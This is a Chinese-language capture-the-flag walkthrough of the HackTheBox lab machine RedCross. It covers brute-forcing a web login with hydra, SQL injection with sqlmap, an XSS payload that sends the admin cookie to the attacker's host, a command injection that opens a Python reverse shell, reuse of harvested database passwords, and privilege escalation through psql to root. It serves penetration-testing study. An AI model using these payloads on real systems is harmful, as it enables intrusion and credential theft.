前言

大家好,我是成都B1ngDa0,今天给大家带来HTB(hackthebox)的靶机:RedCross的writeup,作为一篇自己回顾整理知识点以及分享给大家的文章。

本文涉及知识点:

hydra爆破web登录
sql注入
xss获取cookie
psql基本操作

实战

RedCross靶机地址: https://www.hackthebox.eu/home/machines/profile/162
目标IP: 10.10.10.113(Linux)
本机IP:10.10.14.43(Kali)
目标:获取user.txt以及root.txt(分别为获取目标的普通用户权限以及管理员权限)

信息收集

NMAP端口扫描
nmap -sC -sV -oA nmap 10.10.10.113

目标主机开放了22、80、443端口,在80、443端口都开放了httpd服务。
尝试访问10.10.10.113
发现进行了重定向

使用curl查看 转向至intra.redcross.htb

添加10.10.10.113 intra.redcross.htb至/etc/hosts
echo "10.10.10.113 intra.redcross.htb" > /etc/hosts
成功访问,页面存在登录框,contact页面

登陆框可爆破:

账户爆破

使用hydra进行web登录爆破hydra -L /root/ruokoul/darkweb2017-top1000.txt -P /root/ruokoul/darkweb2017-top1000.txt -s 443 10.10.10.113 https-post-form "/pages/actions.php:user=^USER^&pass=^PASS^&action=login:Wrong"
(抓包可发现,intra使用的是443端口)
爆破得出 guest guest 可进行登录

可使用功能为https://intra.redcross.htb/?o=1&page=app 进行uid查询

sql注入

o参数存在注入

sqlmap -p o -r redcross.req --delay=0.5 –dbs

sqlmap -p o -r redcross.req --delay=0.5 –D redcross --tables
[13:43:41] [INFO] fetching tables for database: ‘redcross’
[13:43:42] [INFO] used SQL query returns 3 entries
[13:43:44] [INFO] retrieved: ‘messages’
[13:43:45] [INFO] retrieved: ‘requests’
[13:43:46] [INFO] retrieved: ‘users’
对数据库redcross的表进行dump获得部分hash以及提示:

hash无利用价值 主要看提示

分站获取

多次提到admin webapp 管理平台 根据内容来看应该是子域名,直接尝试admin.redcross.htb
添加10.10.10.113 admin.redcross.htb至/etc/hosts
echo "10.10.10.113 admin.redcross.htb" > /etc/hosts
访问admin.redcross.htb

此处使用guest尝试登录 显示权限不足,在intra站内有contact页面可通过XSS获取管理员COOKIEs(靶机网站如果有留言板,一般有xss),通过尝试xss在email处可使用,获取cookie:
<script>new Image().src='http://10.10.14.43/'+document.cookie</script>
本地监听
nc –lvp 80
留言处插入xss
得到cookie

PHPSESSID=hi743ili2drfd271v2h0gnj8d7
通过修改cookie登录admin.redcross.htb

命令注入

网站内有两个功能:添加一个可登录的用户,IP防火墙

添加hack用户 密码9m2TxTgI

添加可通过ip本机ip以及随意的一个ip

经过测试在deny功能处的ip参数存在命令注入:
通过burp更改数据,进行命令注入,反弹shell:ip=11.11.11.11;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.43",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'&id=13&action=deny

获取www-data用户权限
权限很低,通过对网站内容进行查看

通过psql获取root权限

得到psql连接信息
$dbconn = pg_connect(“host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&”);
$dbconn = pg_connect(“host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&”);
$dbconn = pg_connect(“host=127.0.0.1 dbname=unix user= unixnss password= fios@ew023xnw “);
经过连接测试
用户unixusrmgr拥有较高的权限。
登录psql:
psql -h 127.0.0.1 -U unixusrmgr -d unix -W

登录后发现只有passwd_table有访问权限
并且passwd_table存在我们之前添加的hack用户的uid、gid、homedir;
尝试修改gid=0、homdir=’/root’
修改成功
使用用户hack进行ssh登录

可以看到虽然已经是root的组的了却不能进行敏感文件访问
尝试sudo,系统提示当前用户不是sudo组的
cat /etc/group

得知sudu组为27
杀死用户(修改gid或者其他信息的时候,用户不能被使用)
kill -9 lsof -u hack
修改gid=27
并重新登录

已经可以使用sudo root权限
获取root 完成渗透攻击。

后续

复盘写writeup时发现一些其他方式:

获得账号密码

通过枚举网站目录、文件可获得account_signup.pdf

得知通过向contact页面输入标题credentials 内容username=admin,便可得到账号密码

相较于爆破账号密码会节省很多时间。

获取admin站点的cookie

在上文我们使用的xss获取cookie,经过测试intra站点中的guest的cookie带入至admin站点依旧有效。

获得shell

在我们向防火墙添加本机ip至防火墙之后,再次进行nmap扫描:

可以看到服务器开启了21、22、80、443、1025(HARAKA)、5432(psql)
通过1025端口的服务在msf进行
exploit/linux/smtp/haraka
的使用将得到用户penpelope的shell
相较于上文少一个命令注入的过程
并且权限也比www-data大一些

个人感悟

RedCross是一台更接近于现实的一台机器,它可以有很多路到达root。值得大家去实战练习。